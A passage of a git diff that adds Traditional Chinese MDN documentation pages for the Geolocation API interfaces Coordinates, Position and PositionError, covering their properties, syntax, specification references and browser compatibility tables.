+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("Coordinates")}} 介面。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationcoordinates/index.html b/files/zh-tw/web/api/geolocationcoordinates/index.html
new file mode 100644
index 0000000000..08be554dff
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationcoordinates/index.html
@@ -0,0 +1,113 @@
+---
+title: Coordinates
+slug: Web/API/GeolocationCoordinates
+translation_of: Web/API/GeolocationCoordinates
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><strong><code>Coordinates </code></strong><code>這個介面用來存取裝置的經緯度</code>，速度以及這些數值的準確度。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em><code>Coordinates</code> 這個介面沒有繼承任何屬性</em>。</p>
+
+<dl>
+ <dt>{{domxref("Coordinates.latitude")}} {{readonlyInline}}</dt>
+ <dd>回傳一個十進位的 double 代表緯度。</dd>
+ <dt>{{domxref("Coordinates.longitude")}} {{readonlyInline}}</dt>
+ <dd>回傳一個十進位的 double 代表經度。</dd>
+ <dt>{{domxref("Coordinates.altitude")}} {{readonlyInline}}</dt>
+ <dd>回傳一個 double 代表距離海平面的高度，單位為公尺。如果無法提供這個值則回傳 null。</dd>
+ <dt>{{domxref("Coordinates.accuracy")}} {{readonlyInline}}</dt>
+ <dd>回傳一個 double 代表經緯度的精準值，單位為公尺。</dd>
+ <dt>{{domxref("Coordinates.altitudeAccuracy")}} {{readonlyInline}}</dt>
+ <dd>回傳一個 double 代表高度的精準度，單位為公尺。如果無法提供這個值則回傳 null。</dd>
+ <dt>{{domxref("Coordinates.heading")}} {{readonlyInline}}</dt>
+ <dd>回傳一個 double 代表裝置前進的方向，這個數值代表你偏離北方多少度，0度代表你向著正北方，照著順時針的方向遞增(90度代表正東方，270度代表正西方) 。如果速度值為0度，則此值為 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/JavaScript/Reference/Global_Objects/NaN">NaN</a></code>。如果無法提供這個值則回傳 null。</dd>
+ <dt>{{domxref("Coordinates.speed")}} {{readonlyInline}}</dt>
+ <dd>回傳一個 double 代表速度，單位為公尺/秒。如果無法提供這個值則回傳 null。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em><em><code>Coordinates</code> 這個介面</em></em>，沒有實作也沒有繼承自任何的方法。<em><em> </em></em></p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#coordinates', 'Coordinates')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>{{domxref("Geolocation")}} 介面使用此物件。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationcoordinates/latitude/index.html b/files/zh-tw/web/api/geolocationcoordinates/latitude/index.html
new file mode 100644
index 0000000000..18c43451f2
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationcoordinates/latitude/index.html
@@ -0,0 +1,93 @@
+---
+title: Coordinates.latitude
+slug: Web/API/GeolocationCoordinates/latitude
+translation_of: Web/API/GeolocationCoordinates/latitude
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Coordinates.latitude</strong></code> 是個唯讀十進位的複數用來代表裝置緯度的位置。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>lat</em> = <code><em>coordinates</em><code>.latitude</code></code>
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#lat', 'Coordinates.latitude')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("Coordinates")}} 介面。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationcoordinates/longitude/index.html b/files/zh-tw/web/api/geolocationcoordinates/longitude/index.html
new file mode 100644
index 0000000000..f5625d20c6
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationcoordinates/longitude/index.html
@@ -0,0 +1,93 @@
+---
+title: Coordinates.longitude
+slug: Web/API/GeolocationCoordinates/longitude
+translation_of: Web/API/GeolocationCoordinates/longitude
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Coordinates.longitude</strong></code> 是個唯讀十進位的複數用來代表裝置經度的位置。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>lon</var> = <var>coordinates</var>.longitude
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#lon', 'Coordinates.longitude')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於{{domxref("Coordinates")}} 介面。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationcoordinates/speed/index.html b/files/zh-tw/web/api/geolocationcoordinates/speed/index.html
new file mode 100644
index 0000000000..74c1940232
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationcoordinates/speed/index.html
@@ -0,0 +1,93 @@
+---
+title: Coordinates.speed
+slug: Web/API/GeolocationCoordinates/speed
+translation_of: Web/API/GeolocationCoordinates/speed
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Coordinates.speed</strong></code> 回傳唯讀的正複數代表速度，單位為公尺/秒。 如果裝置無法測量這個值則回傳 null。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>speed</var> = <var>coordinates</var>.speed
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#speed', 'Coordinates.speed')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("Coordinates")}} 介面。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationposition/coords/index.html b/files/zh-tw/web/api/geolocationposition/coords/index.html
new file mode 100644
index 0000000000..c6e018c8cc
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationposition/coords/index.html
@@ -0,0 +1,93 @@
+---
+title: Position.coords
+slug: Web/API/GeolocationPosition/coords
+translation_of: Web/API/GeolocationPosition/coords
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Position.coords</strong></code> 是一個 {{domxref("Coordinates")}} 物件的唯讀屬性，表示地理的特性：回傳的物件中包括位置、地球經緯度、海拔高度和速度，同時也包含著這些值的精準度訊息。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>coord</var> = <var>position</var>.coords
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#coords', 'Position.coords')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("Position")}}。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationposition/index.html b/files/zh-tw/web/api/geolocationposition/index.html
new file mode 100644
index 0000000000..ecf342ff49
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationposition/index.html
@@ -0,0 +1,103 @@
+---
+title: Position
+slug: Web/API/GeolocationPosition
+translation_of: Web/API/GeolocationPosition
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><strong><code>Position</code></strong> 介面表示在給定時間相關裝置的位置。這個位置用一個 {{domxref("Coordinates")}} 物件表示，包括裝置在地球上的二維位置，以及裝置的海拔高度和速度。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em><code>Position</code> 介面沒有繼承任何屬性</em></p>
+
+<dl>
+ <dt>{{domxref("Position.coords")}} {{readonlyInline}}</dt>
+ <dd>回傳一個定義當前位置的 {{domxref("Coordinates")}} 物件。</dd>
+ <dt>{{domxref("Position.timestamp")}} {{readonlyInline}}</dt>
+ <dd>回傳一個時間戳 {{domxref("DOMTimeStamp")}} ，這個時間戳表示獲取到位置的時間。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em><em><code>Position 介面沒有實作或繼承任何方法</code> </em></em></p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#position', 'Position')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>{{domxref("Geolocation")}} 介面使用此物件。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationposition/timestamp/index.html b/files/zh-tw/web/api/geolocationposition/timestamp/index.html
new file mode 100644
index 0000000000..26c72e5e14
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationposition/timestamp/index.html
@@ -0,0 +1,93 @@
+---
+title: Position.timestamp
+slug: Web/API/GeolocationPosition/timestamp
+translation_of: Web/API/GeolocationPosition/timestamp
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Position.timestamp</strong></code> 是一個唯讀的 {{domxref("DOMTimeStamp")}} 物件, 此物件代表建立 {{domxref("Position")}} 物件的日期和時間，精確度為毫秒。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>coord</em> = <code><em>position</em><code>.timestamp</code></code>
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#timestamp', 'Position.timestamp')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("Position")}}。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationpositionerror/code/index.html b/files/zh-tw/web/api/geolocationpositionerror/code/index.html
new file mode 100644
index 0000000000..e561a780d0
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationpositionerror/code/index.html
@@ -0,0 +1,120 @@
+---
+title: PositionError.code
+slug: Web/API/GeolocationPositionError/code
+translation_of: Web/API/GeolocationPositionError/code
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>PositionError.code</strong></code> 是一個唯讀無符號整數(<code>unsigned short)表示錯誤碼</code> 。以下列出可能的值：</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">值</th>
+   <th scope="col">相對應的常數</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>1</code></td>
+   <td><code>PERMISSION_DENIED</code></td>
+   <td>取得地理資訊失敗，因為此頁面沒有獲取地理位置信息的權限。</td>
+  </tr>
+  <tr>
+   <td><code>2</code></td>
+   <td><code>POSITION_UNAVAILABLE</code></td>
+   <td>取得地理資訊失敗，因為至少有一個地理位置信息內的資訊回傳了錯誤。</td>
+  </tr>
+  <tr>
+   <td><code>3</code></td>
+   <td><code>TIMEOUT</code></td>
+   <td>取得地理資訊超過時限，利用 {{domxref("PositionOptions.timeout")}} i來定義取得地理資訊的時限。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>typeErr</var> = <var>poserr</var>.code
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#code', 'PositionError.code')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("PositionError")}} 。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationpositionerror/index.html b/files/zh-tw/web/api/geolocationpositionerror/index.html
new file mode 100644
index 0000000000..e721bd062c
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationpositionerror/index.html
@@ -0,0 +1,128 @@
+---
+title: PositionError
+slug: Web/API/GeolocationPositionError
+translation_of: Web/API/GeolocationPositionError
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><strong><code>PositionError</code></strong> 介面表示使用定位設備時發生錯誤的原因。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em><code>PositionError</code> 介面沒有繼承任何屬性</em>。</p>
+
+<dl>
+ <dt>{{domxref("PositionError.code")}} {{readonlyInline}}</dt>
+ <dd>回傳一個無符號整數<code>(unsigned short</code>)來表示錯誤碼。以下列出可能的值：
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">值</th>
+    <th scope="col">相對應的常數</th>
+    <th scope="col">描述</th>
+   </tr>
+   <tr>
+    <td><code>1</code></td>
+    <td><code>PERMISSION_DENIED</code></td>
+    <td>取得地理資訊失敗，因為此頁面沒有獲取地理位置信息的權限。</td>
+   </tr>
+   <tr>
+    <td><code>2</code></td>
+    <td><code>POSITION_UNAVAILABLE</code></td>
+    <td>取得地理資訊失敗，因為至少有一個地理位置信息內的資訊回傳了錯誤。</td>
+   </tr>
+   <tr>
+    <td><code>3</code></td>
+    <td><code>TIMEOUT</code></td>
+    <td>取得地理資訊超過時限，利用{{domxref("PositionOptions.timeout")}} 來定義取得地理資訊的時限。</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("PositionError.message")}} {{readonlyInline}}</dt>
+ <dd>回傳一個可讀的 {{domxref("DOMString")}} 來描述錯誤的詳細訊息。注意規格中指出此訊息是用來除錯而非直接顯示在使用者介面。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em><em><code>PositionError</code> 介面沒有實作也沒有繼承任何方法</em></em>。</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#positionerror', 'PositionError')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>{{domxref("Geolocation")}} 介面使用此物件。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationpositionerror/message/index.html b/files/zh-tw/web/api/geolocationpositionerror/message/index.html
new file mode 100644
index 0000000000..839fb18818
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationpositionerror/message/index.html
@@ -0,0 +1,93 @@
+---
+title: PositionError.message
+slug: Web/API/GeolocationPositionError/message
+translation_of: Web/API/GeolocationPositionError/message
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>PositionError.message</strong></code> 是一個可讀的 {{domxref("DOMString")}} 來描述錯誤的詳細訊息。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>msg</var> = <var>positionError</var>.message
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
